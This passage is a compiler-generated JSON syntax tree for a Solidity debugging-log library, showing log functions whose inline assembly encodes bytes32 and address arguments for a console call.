alue":"1"}],"functionName":{"name":"add","nativeSrc":"4941:3:22","nodeType":"YulIdentifier","src":"4941:3:22"},"nativeSrc":"4941:14:22","nodeType":"YulFunctionCall","src":"4941:14:22"},"variableNames":[{"name":"length","nativeSrc":"4931:6:22","nodeType":"YulIdentifier","src":"4931:6:22"}]}]},"pre":{"nativeSrc":"4909:2:22","nodeType":"YulBlock","src":"4909:2:22","statements":[]},"src":"4905:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"5022:3:22","nodeType":"YulIdentifier","src":"5022:3:22"},{"name":"length","nativeSrc":"5027:6:22","nodeType":"YulIdentifier","src":"5027:6:22"}],"functionName":{"name":"mstore","nativeSrc":"5015:6:22","nodeType":"YulIdentifier","src":"5015:6:22"},"nativeSrc":"5015:19:22","nodeType":"YulFunctionCall","src":"5015:19:22"},"nativeSrc":"5015:19:22","nodeType":"YulExpressionStatement","src":"5015:19:22"},{"nativeSrc":"5051:37:22","nodeType":"YulVariableDeclaration","src":"5051:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"5068:3:22","nodeType":"YulLiteral","src":"5068:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"5077:1:22","nodeType":"YulLiteral","src":"5077:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"5080:6:22","nodeType":"YulIdentifier","src":"5080:6:22"}],"functionName":{"name":"shl","nativeSrc":"5073:3:22","nodeType":"YulIdentifier","src":"5073:3:22"},"nativeSrc":"5073:14:22","nodeType":"YulFunctionCall","src":"5073:14:22"}],"functionName":{"name":"sub","nativeSrc":"5064:3:22","nodeType":"YulIdentifier","src":"5064:3:22"},"nativeSrc":"5064:24:22","nodeType":"YulFunctionCall","src":"5064:24:22"},"variables":[{"name":"shift","nativeSrc":"5055:5:22","nodeType":"YulTypedName","src":"5055:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"5116:3:22","nodeType":"YulIdentifier","src":"5116:3:22"},{"kind":"number","nativeSrc":"5121:4:22","nodeType":"YulLiteral","src":"5121:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"5112:3:22","nodeType":"YulIdentifier","src":"5112:3:22"},"nativeSrc":"5112:14:22","nodeType":"YulFunctionCall","src":"5112:14:22"},{"arguments":[{"name":"shift","nativeSrc":"5132:5:22","nodeType":"YulIdentifier","src":"5132:5:22"},{"arguments":[{"name":"shift","nativeSrc":"5143:5:22","nodeType":"YulIdentifier","src":"5143:5:22"},{"name":"w","nativeSrc":"5150:1:22","nodeType":"YulIdentifier","src":"5150:1:22"}],"functionName":{"name":"shr","nativeSrc":"5139:3:22","nodeType":"YulIdentifier","src":"5139:3:22"},"nativeSrc":"5139:13:22","nodeType":"YulFunctionCall","src":"5139:13:22"}],"functionName":{"name":"shl","nativeSrc":"5128:3:22","nodeType":"YulIdentifier","src":"5128:3:22"},"nativeSrc":"5128:25:22","nodeType":"YulFunctionCall","src":"5128:25:22"}],"functionName":{"name":"mstore","nativeSrc":"5105:6:22","nodeType":"YulIdentifier","src":"5105:6:22"},"nativeSrc":"5105:49:22","nodeType":"YulFunctionCall","src":"5105:49:22"},"nativeSrc":"5105:49:22","nodeType":"YulExpressionStatement","src":"5105:49:22"}]},"name":"writeString","nativeSrc":"4826:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"4847:3:22","nodeType":"YulTypedName","src":"4847:3:22","type":""},{"name":"w","nativeSrc":"4852:1:22","nodeType":"YulTypedName","src":"4852:1:22","type":""}],"src":"4826:342:22"},{"nativeSrc":"5181:17:22","nodeType":"YulAssignment","src":"5181:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5193:4:22","nodeType":"YulLiteral","src":"5193:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"5187:5:22","nodeType":"YulIdentifier","src":"5187:5:22"},"nativeSrc":"5187:11:22","nodeType":"YulFunctionCall","src":"5187:11:22"},"variableNames":[{"name":"m0","nativeSrc":"5181:2:22","nodeType":"YulIdentifier","src":"5181:2:22"}]},{"nativeSrc":"5211:17:22","nodeType":"YulAssignment","src":"5211:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5223:4:22","nodeType":"YulLiteral","src":"5223:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"5217:5:22","nodeType":"YulIdentifier","src":"5217:5:22"},"nativeSrc":"5217:11:22","nodeType":"YulFunctionCall","src":"5217:11:22"},"variableNames":[{"name":"m1","nativeSrc":"5211:2:22","nodeType":"YulIdentifier","src":"5211:2:22"}]},{"nativeSrc":"5241:17:22","nodeType":"YulAssignment","src":"5241:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5253:4:22","nodeType":"YulLiteral","src":"5253:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"5247:5:22","nodeType":"YulIdentifier","src":"5247:5:22"},"nativeSrc":"5247:11:22","nodeType":"YulFunctionCall","src":"5247:11:22"},"variableNames":[{"name":"m2","nativeSrc":"5241:2:22","nodeType":"YulIdentifier","src":"5241:2:22"}]},{"nativeSrc":"5271:17:22","nodeType":"YulAssignment","src":"5271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5283:4:22","nodeType":"YulLiteral","src":"5283:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"5277:5:22","nodeType":"YulIdentifier","src":"5277:5:22"},"nativeSrc":"5277:11:22","nodeType":"YulFunctionCall","src":"5277:11:22"},"variableNames":[{"name":"m3","nativeSrc":"5271:2:22","nodeType":"YulIdentifier","src":"5271:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5350:4:22","nodeType":"YulLiteral","src":"5350:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"5356:10:22","nodeType":"YulLiteral","src":"5356:10:22","type":"","value":"0x41304fac"}],"functionName":{"name":"mstore","nativeSrc":"5343:6:22","nodeType":"YulIdentifier","src":"5343:6:22"},"nativeSrc":"5343:24:22","nodeType":"YulFunctionCall","src":"5343:24:22"},"nativeSrc":"5343:24:22","nodeType":"YulExpressionStatement","src":"5343:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5387:4:22","nodeType":"YulLiteral","src":"5387:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"5393:4:22","nodeType":"YulLiteral","src":"5393:4:22","type":"","value":"0x20"}],"functionName":{"name":"mstore","nativeSrc":"5380:6:22","nodeType":"YulIdentifier","src":"5380:6:22"},"nativeSrc":"5380:18:22","nodeType":"YulFunctionCall","src":"5380:18:22"},"nativeSrc":"5380:18:22","nodeType":"YulExpressionStatement","src":"5380:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5423:4:22","nodeType":"YulLiteral","src":"5423:4:22","type":"","value":"0x40"},{"name":"p0","nativeSrc":"5429:2:22","nodeType":"YulIdentifier","src":"5429:2:22"}],"functionName":{"name":"writeString","nativeSrc":"5411:11:22","nodeType":"YulIdentifier","src":"5411:11:22"},"nativeSrc":"5411:21:22","nodeType":"YulFunctionCall","src":"5411:21:22"},"nativeSrc":"5411:21:22","nodeType":"YulExpressionStatement","src":"5411:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33751,"isOffset":false,"isSlot":false,"src":"5181:2:22","valueSize":1},{"declaration":33754,"isOffset":false,"isSlot":false,"src":"5211:2:22","valueSize":1},{"declaration":33757,"isOffset":false,"isSlot":false,"src":"5241:2:22","valueSize":1},{"declaration":33760,"isOffset":false,"isSlot":false,"src":"5271:2:22","valueSize":1},{"declaration":33747,"isOffset":false,"isSlot":false,"src":"5429:2:22","valueSize":1}],"id":33762,"nodeType":"InlineAssembly","src":"4803:639:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33764,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5467:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":33765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5473:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":33763,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"5451:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5451:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33767,"nodeType":"ExpressionStatement","src":"5451:27:22"},{"AST":{"nativeSrc":"5497:127:22","nodeType":"YulBlock","src":"5497:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"5518:4:22","nodeType":"YulLiteral","src":"5518:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"5524:2:22","nodeType":"YulIdentifier","src":"5524:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5511:6:22","nodeType":"YulIdentifier","src":"5511:6:22"},"nativeSrc":"5511:16:22","nodeType":"YulFunctionCall","src":"5511:16:22"},"nativeSrc":"5511:16:22","nodeType":"YulExpressionStatement","src":"5511:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5547:4:22","nodeType":"YulLiteral","src":"5547:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"5553:2:22","nodeType":"YulIdentifier","src":"5553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5540:6:22","nodeType":"YulIdentifier","src":"5540:6:22"},"nativeSrc":"5540:16:22","nodeType":"YulFunctionCall","src":"5540:16:22"},"nativeSrc":"5540:16:22","nodeType":"YulExpressionStatement","src":"5540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5576:4:22","nodeType":"YulLiteral","src":"5576:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"5582:2:22","nodeType":"YulIdentifier","src":"5582:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5569:6:22","nodeType":"YulIdentifier","src":"5569:6:22"},"nativeSrc":"5569:16:22","nodeType":"YulFunctionCall","src":"5569:16:22"},"nativeSrc":"5569:16:22","nodeType":"YulExpressionStatement","src":"5569:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5605:4:22","nodeType":"YulLiteral","src":"5605:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"5611:2:22","nodeType":"YulIdentifier","src":"5611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5598:6:22","nodeType":"YulIdentifier","src":"5598:6:22"},"nativeSrc":"5598:16:22","nodeType":"YulFunctionCall","src":"5598:16:22"},"nativeSrc":"5598:16:22","nodeType":"YulExpressionStatement","src":"5598:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33751,"isOffset":false,"isSlot":false,"src":"5524:2:22","valueSize":1},{"declaration":33754,"isOffset":false,"isSlot":false,"src":"5553:2:22","valueSize":1},{"declaration":33757,"isOffset":false,"isSlot":false,"src":"5582:2:22","valueSize":1},{"declaration":33760,"isOffset":false,"isSlot":false,"src":"5611:2:22","valueSize":1}],"id":33768,"nodeType":"InlineAssembly","src":"5488:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"4683:3:22","parameters":{"id":33748,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33747,"mutability":"mutable","name":"p0","nameLocation":"4695:2:22","nodeType":"VariableDeclaration","scope":33770,"src":"4687:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33746,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4687:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"4686:12:22"},"returnParameters":{"id":33749,"nodeType":"ParameterList","parameters":[],"src":"4713:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33794,"nodeType":"FunctionDefinition","src":"5636:536:22","nodes":[],"body":{"id":33793,"nodeType":"Block","src":"5687:485:22","nodes":[],"statements":[{"assignments":[33778],"declarations":[{"constant":false,"id":33778,"mutability":"mutable","name":"m0","nameLocation":"5705:2:22","nodeType":"VariableDeclaration","scope":33793,"src":"5697:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33777,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5697:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33779,"nodeType":"VariableDeclarationStatement","src":"5697:10:22"},{"assignments":[33781],"declarations":[{"constant":false,"id":33781,"mutability":"mutable","name":"m1","nameLocation":"5725:2:22","nodeType":"VariableDeclaration","scope":33793,"src":"5717:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33780,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5717:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33782,"nodeType":"VariableDeclarationStatement","src":"5717:10:22"},{"assignments":[33784],"declarations":[{"constant":false,"id":33784,"mutability":"mutable","name":"m2","nameLocation":"5745:2:22","nodeType":"VariableDeclaration","scope":33793,"src":"5737:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33783,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5737:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33785,"nodeType":"VariableDeclarationStatement","src":"5737:10:22"},{"AST":{"nativeSrc":"5766:247:22","nodeType":"YulBlock","src":"5766:247:22","statements":[{"nativeSrc":"5780:17:22","nodeType":"YulAssignment","src":"5780:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5792:4:22","nodeType":"YulLiteral","src":"5792:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"5786:5:22","nodeType":"YulIdentifier","src":"5786:5:22"},"nativeSrc":"5786:11:22","nodeType":"YulFunctionCall","src":"5786:11:22"},"variableNames":[{"name":"m0","nativeSrc":"5780:2:22","nodeType":"YulIdentifier","src":"5780:2:22"}]},{"nativeSrc":"5810:17:22","nodeType":"YulAssignment","src":"5810:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5822:4:22","nodeType":"YulLiteral","src":"5822:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"5816:5:22","nodeType":"YulIdentifier","src":"5816:5:22"},"nativeSrc":"5816:11:22","nodeType":"YulFunctionCall","src":"5816:11:22"},"variableNames":[{"name":"m1","nativeSrc":"5810:2:22","nodeType":"YulIdentifier","src":"5810:2:22"}]},{"nativeSrc":"5840:17:22","nodeType":"YulAssignment","src":"5840:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"5852:4:22","nodeType":"YulLiteral","src":"5852:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"5846:5:22","nodeType":"YulIdentifier","src":"5846:5:22"},"nativeSrc":"5846:11:22","nodeType":"YulFunctionCall","src":"5846:11:22"},"variableNames":[{"name":"m2","nativeSrc":"5840:2:22","nodeType":"YulIdentifier","src":"5840:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5928:4:22","nodeType":"YulLiteral","src":"5928:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"5934:10:22","nodeType":"YulLiteral","src":"5934:10:22","type":"","value":"0xdaf0d4aa"}],"functionName":{"name":"mstore","nativeSrc":"5921:6:22","nodeType":"YulIdentifier","src":"5921:6:22"},"nativeSrc":"5921:24:22","nodeType":"YulFunctionCall","src":"5921:24:22"},"nativeSrc":"5921:24:22","nodeType":"YulExpressionStatement","src":"5921:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5965:4:22","nodeType":"YulLiteral","src":"5965:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"5971:2:22","nodeType":"YulIdentifier","src":"5971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5958:6:22","nodeType":"YulIdentifier","src":"5958:6:22"},"nativeSrc":"5958:16:22","nodeType":"YulFunctionCall","src":"5958:16:22"},"nativeSrc":"5958:16:22","nodeType":"YulExpressionStatement","src":"5958:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"5994:4:22","nodeType":"YulLiteral","src":"5994:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"6000:2:22","nodeType":"YulIdentifier","src":"6000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"5987:6:22","nodeType":"YulIdentifier","src":"5987:6:22"},"nativeSrc":"5987:16:22","nodeType":"YulFunctionCall","src":"5987:16:22"},"nativeSrc":"5987:16:22","nodeType":"YulExpressionStatement","src":"5987:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33778,"isOffset":false,"isSlot":false,"src":"5780:2:22","valueSize":1},{"declaration":33781,"isOffset":false,"isSlot":false,"src":"5810:2:22","valueSize":1},{"declaration":33784,"isOffset":false,"isSlot":false,"src":"5840:2:22","valueSize":1},{"declaration":33772,"isOffset":false,"isSlot":false,"src":"5971:2:22","valueSize":1},{"declaration":33774,"isOffset":false,"isSlot":false,"src":"6000:2:22","valueSize":1}],"id":33786,"nodeType":"InlineAssembly","src":"5757:256:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6038:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33789,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6044:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33787,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"6022:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6022:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33791,"nodeType":"ExpressionStatement","src":"6022:27:22"},{"AST":{"nativeSrc":"6068:98:22","nodeType":"YulBlock","src":"6068:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"6089:4:22","nodeType":"YulLiteral","src":"6089:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"6095:2:22","nodeType":"YulIdentifier","src":"6095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6082:6:22","nodeType":"YulIdentifier","src":"6082:6:22"},"nativeSrc":"6082:16:22","nodeType":"YulFunctionCall","src":"6082:16:22"},"nativeSrc":"6082:16:22","nodeType":"YulExpressionStatement","src":"6082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6118:4:22","nodeType":"YulLiteral","src":"6118:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"6124:2:22","nodeType":"YulIdentifier","src":"6124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6111:6:22","nodeType":"YulIdentifier","src":"6111:6:22"},"nativeSrc":"6111:16:22","nodeType":"YulFunctionCall","src":"6111:16:22"},"nativeSrc":"6111:16:22","nodeType":"YulExpressionStatement","src":"6111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6147:4:22","nodeType":"YulLiteral","src":"6147:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"6153:2:22","nodeType":"YulIdentifier","src":"6153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6140:6:22","nodeType":"YulIdentifier","src":"6140:6:22"},"nativeSrc":"6140:16:22","nodeType":"YulFunctionCall","src":"6140:16:22"},"nativeSrc":"6140:16:22","nodeType":"YulExpressionStatement","src":"6140:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33778,"isOffset":false,"isSlot":false,"src":"6095:2:22","valueSize":1},{"declaration":33781,"isOffset":false,"isSlot":false,"src":"6124:2:22","valueSize":1},{"declaration":33784,"isOffset":false,"isSlot":false,"src":"6153:2:22","valueSize":1}],"id":33792,"nodeType":"InlineAssembly","src":"6059:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"5645:3:22","parameters":{"id":33775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33772,"mutability":"mutable","name":"p0","nameLocation":"5657:2:22","nodeType":"VariableDeclaration","scope":33794,"src":"5649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33771,"name":"address","nodeType":"ElementaryTypeName","src":"5649:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33774,"mutability":"mutable","name":"p1","nameLocation":"5669:2:22","nodeType":"VariableDeclaration","scope":33794,"src":"5661:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33773,"name":"address","nodeType":"ElementaryTypeName","src":"5661:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5648:24:22"},"returnParameters":{"id":33776,"nodeType":"ParameterList","parameters":[],"src":"5687:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33818,"nodeType":"FunctionDefinition","src":"6178:530:22","nodes":[],"body":{"id":33817,"nodeType":"Block","src":"6226:482:22","nodes":[],"statements":[{"assignments":[33802],"declarations":[{"constant":false,"id":33802,"mutability":"mutable","name":"m0","nameLocation":"6244:2:22","nodeType":"VariableDeclaration","scope":33817,"src":"6236:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33801,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6236:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33803,"nodeType":"VariableDeclarationStatement","src":"6236:10:22"},{"assignments":[33805],"declarations":[{"constant":false,"id":33805,"mutability":"mutable","name":"m1","nameLocation":"6264:2:22","nodeType":"VariableDeclaration","scope":33817,"src":"6256:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33804,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6256:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33806,"nodeType":"VariableDeclarationStatement","src":"6256:10:22"},{"assignments":[33808],"declarations":[{"constant":false,"id":33808,"mutability":"mutable","name":"m2","nameLocation":"6284:2:22","nodeType":"VariableDeclaration","scope":33817,"src":"6276:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33807,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6276:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33809,"nodeType":"VariableDeclarationStatement","src":"6276:10:22"},{"AST":{"nativeSrc":"6305:244:22","nodeType":"YulBlock","src":"6305:244:22","statements":[{"nativeSrc":"6319:17:22","nodeType":"YulAssignment","src":"6319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6331:4:22","nodeType":"YulLiteral","src":"6331:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"6325:5:22","nodeType":"YulIdentifier","src":"6325:5:22"},"nativeSrc":"6325:11:22","nodeType":"YulFunctionCall","src":"6325:11:22"},"variableNames":[{"name":"m0","nativeSrc":"6319:2:22","nodeType":"YulIdentifier","src":"6319:2:22"}]},{"nativeSrc":"6349:17:22","nodeType":"YulAssignment","src":"6349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6361:4:22","nodeType":"YulLiteral","src":"6361:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"6355:5:22","nodeType":"YulIdentifier","src":"6355:5:22"},"nativeSrc":"6355:11:22","nodeType":"YulFunctionCall","src":"6355:11:22"},"variableNames":[{"name":"m1","nativeSrc":"6349:2:22","nodeType":"YulIdentifier","src":"6349:2:22"}]},{"nativeSrc":"6379:17:22","nodeType":"YulAssignment","src":"6379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6391:4:22","nodeType":"YulLiteral","src":"6391:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"6385:5:22","nodeType":"YulIdentifier","src":"6385:5:22"},"nativeSrc":"6385:11:22","nodeType":"YulFunctionCall","src":"6385:11:22"},"variableNames":[{"name":"m2","nativeSrc":"6379:2:22","nodeType":"YulIdentifier","src":"6379:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6464:4:22","nodeType":"YulLiteral","src":"6464:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"6470:10:22","nodeType":"YulLiteral","src":"6470:10:22","type":"","value":"0x75b605d3"}],"functionName":{"name":"mstore","nativeSrc":"6457:6:22","nodeType":"YulIdentifier","src":"6457:6:22"},"nativeSrc":"6457:24:22","nodeType":"YulFunctionCall","src":"6457:24:22"},"nativeSrc":"6457:24:22","nodeType":"YulExpressionStatement","src":"6457:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6501:4:22","nodeType":"YulLiteral","src":"6501:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"6507:2:22","nodeType":"YulIdentifier","src":"6507:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6494:6:22","nodeType":"YulIdentifier","src":"6494:6:22"},"nativeSrc":"6494:16:22","nodeType":"YulFunctionCall","src":"6494:16:22"},"nativeSrc":"6494:16:22","nodeType":"YulExpressionStatement","src":"6494:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6530:4:22","nodeType":"YulLiteral","src":"6530:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"6536:2:22","nodeType":"YulIdentifier","src":"6536:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6523:6:22","nodeType":"YulIdentifier","src":"6523:6:22"},"nativeSrc":"6523:16:22","nodeType":"YulFunctionCall","src":"6523:16:22"},"nativeSrc":"6523:16:22","nodeType":"YulExpressionStatement","src":"6523:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33802,"isOffset":false,"isSlot":false,"src":"6319:2:22","valueSize":1},{"declaration":33805,"isOffset":false,"isSlot":false,"src":"6349:2:22","valueSize":1},{"declaration":33808,"isOffset":false,"isSlot":false,"src":"6379:2:22","valueSize":1},{"declaration":33796,"isOffset":false,"isSlot":false,"src":"6507:2:22","valueSize":1},{"declaration":33798,"isOffset":false,"isSlot":false,"src":"6536:2:22","valueSize":1}],"id":33810,"nodeType":"InlineAssembly","src":"6296:253:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33812,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6574:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33813,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6580:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33811,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"6558:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 